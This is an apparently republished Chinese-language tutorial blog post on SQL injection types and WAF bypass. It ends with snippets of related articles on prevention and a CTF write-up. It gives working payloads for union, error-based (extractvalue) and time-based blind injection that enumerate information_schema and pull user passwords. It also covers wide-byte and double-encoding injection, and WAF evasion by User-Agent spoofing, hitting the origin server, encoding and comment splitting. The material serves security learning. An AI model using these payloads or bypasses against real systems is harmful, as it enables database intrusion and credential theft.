sql注入型別 步驟以及繞waf注入

2021-08-18 21:17:26 字數 4928 閱讀 6092

一、sql注入:

sql注入就是是一種將

sql語句插入或新增到應用(使用者

)的輸入

引數中的攻擊,之後再將這些引數傳遞給後台的sql伺服器加以解析並執行。

最終使使用者可控的輸入被帶入到了資料庫中進行執行。

1.1存在

sql注入的地方大致有:

l   get

l   post

l   cookie

l   http頭部

1.2 sql注入的基本型別

l union聯合查詢注入

l 基於報錯注入(extractvalue(arg1,arg2),

updatexml

,floor

)l 基於布林型別注入

l 基於時間的注入 -- sleep(arg1),  benchmark(arg1,arg2)

l 寬位元組注入,二次編碼注入

(%df%23, %2527)、

分類介紹:

1.2.1 union聯合查詢注入:需要的條件

1.union必須由兩條或兩條以上的

select

語句組成

2.union中的每個查詢必須包含相同的列

3.union會從查詢結果集中自動去除了重複行。

4.union注入使用的前提是頁面要有顯示位。這個也是乙個

union

的缺點或者說是限制。

union聯合查詢注入大致步驟

1. 判斷列數 -- 通過

order by n;

2. 判斷顯示位 -- id =-1 union select 1,2,3...........

3. 爆庫

id=-1'union select 1,(select schema_name from information_schema.schemata limit 0,1),3--

?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata--

4. 爆表

?id=-1' union select 1,(select table_name from information_schema.tables where table_schema='security' limit 0,1),3--

小計:

資料庫名稱可以用十六進製制來代替字串,這樣可以繞過單引號的限制

,也可以直接從資料庫查詢的語句取出來表的名

5. 暴欄位

?id=-1' union select 1,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),3--

6. 暴資料

?id=-1' union select 1,(select username from security.users limit 0,1),3--

1.2.2 報錯注入

1.報錯注入就是構造讓資訊通過錯誤提示回顯出來

,前提:頁面上沒有顯示位,但是需要執行sql語句輸出錯誤資訊

1.1通過

extractvalue(arg1,arg2)

報錯通過updatexml(arg1,arg2,arg3)報錯

通過floor(

arg1

)報錯1.2 步驟 :

1. 查詢資料庫名字

1』 and extractvalue(1,concat(0x74,(select database()),0x7e#

2. 檢視資料庫有哪些表

1』and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database()) limit 0,1),0x7e)#

3,檢視表右哪些列名

1』and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name=』users』 limit 0,1),0x7e))#

4,最後檢視資料

1』 and extractvalue(1,concat(0x7e,(select password from users limit 0,1),0x7e))#

1.2.3 基於布林型別的注入

頁面上不需要顯示位,也沒有輸出錯誤資訊,只能通過頁面返回是否正常

exists( )函式:

exists 用於檢查子查詢是否只要會返回一行資料,該子查詢實際上並不返回任何資料,而是返回true或false

ascii( )函式:

返回字串str的最左面字元的ascii**值。如果str是空字串,返回0。

查尋步驟同上面的一樣,只不過需要獲取結果的ascii值。來進行查詢字元

1.2.4 時間注入

原理:正確的sql語句和錯誤的

sql語句返回的時間不一樣,依此來判斷查詢結果的正確性,但是要耗費大量時間。

sleep(arg) arg中斷的時間,

select if(1=1,sleep( 5),0),結果頁面延遲

5秒顯示,如果判斷錯誤,則直接顯示

0,不進行等待5秒,

例如:select first_name,last_name from users where user_id='2' and if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)))>150,sleep(3),0);

// 表示當前庫的第二個表名的第乙個字元的

ascii

碼值大於

150,就延遲

3秒返回結果,若小於

150

,直接返回結果,不執行

sleep

()函式;

1.2.5寬位元組注入

&& 二次編碼注入

1.寬位元組注入主要是編碼轉換的問題的注入

2.當提交

id=1』 and 1=1%23後

,引號會被轉義為

1\』,顯然這是失敗的注入,。因為單引號被轉義導致沒有閉合前面的單引號。但是我們在提交id=1%df』 and 1%23 後,單引號會轉義成

\』--%5c和前面的

%df結合通過

gbk編碼得到乙個漢字,這時後面的單引號會閉合前面的單引號,形成完整的

sql查詢語句,

例如: and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=(select table_name from information_schema.tables where table_schema=database() limit 1,1)),0x7e))%23

// 表示的是

根據表名,把對應表下面的列欄位全部根據錯誤注入的返回暴出。

二次編碼:形如id=2%2527, 先把

%25編碼為

%和後面的

27結合為

%27

,就是單引號。

二、繞過waf注入

1.什麼是waf

2.waf分類

1硬體waf ->伺服器 效能更加強大,裡面的核心原理還是規則匹配,

3**waf -> modsecurity

4軟體waf -> 安全狗

3. waf三個基本步驟: 身份認證 資料報解析 規則匹配。

4.waf的檢測主要有三個階段

1.首先進行身份驗證,白名單的直接給伺服器,廢白名單的要去進行資料報的解析,

2.無法解析資料報的將丟棄給伺服器處理,正常解析的去進行規則判斷。

3.符合規則的給伺服器,不符合規則的將進行攔截。

5.怎麼繞過waf

1.身份認證的繞過

waf是有乙個白名單的,在白名單內的客戶請求將不做檢測

1.1偽造搜尋引擎

早些版本的安全狗是有這個漏洞的,就是把user-agent修改為搜尋引擎便可以繞過,進行sql注入等攻擊

1.2偽造白名單特殊目錄

1.3直接攻擊源站

這個方法的原理通過dns解析到雲waf,訪問**的流量要經過指定的dns伺服器解析,然後進入waf節點進行過濾,最後訪問原始伺服器,如果能通過一些手段找到原始的伺服器位址,便可以繞過.

2.資料報解析的繞過

2.1編碼繞過

進行urlencode

2.2修改請求方式繞過

有時候waf對get進行了過濾,但是cookie甚至post引數卻沒有檢測。

3.規則匹配的繞過

3.1特殊字元替換空格

3.2特殊字元拼接

把特殊字元拼接起來繞過waf的檢測,比如在mysql中,可以利用注釋/**/來繞過,

3)注釋包含關鍵字

SQL注入基本型別以及如何防止sql注入

注入型別 1.數字注入 select from users where name jack and password 1 or 1 1 password 2.字串注入 select from user where name jack and password sdjakfjsadklfjklsdfd...

sql注入100種姿勢過waf 一 waf 了解

1 雲waf 2 主機防護軟體 在主機上預先安裝了這種防護軟體,和監聽web埠的流量是否有惡意的,所以這種從功能上講較為全面。這裡再插一嘴,mod security ngx lua waf這類開源waf雖然看起來不錯,但是有個弱點就是公升級的成本會高一些。常見產品 雲鎖,安全狗之類產品。3 硬體wa...

2018 11 14 簡單的SQL注入(帶waf)

題目 簡單的sql注入 分值 10 url 解題思路 輸入1,顯示了正常id,輸入1 報錯mysql,明顯的sql注入點。直接嘗試sqlmap,沒有結果 或許應該嘗試 tamper 引數,使用指令碼過waf,或者抓個包試一下 輸入1 and 1 1 頁面沒有反應。手工輸入1 and 1 2,頁面沒有...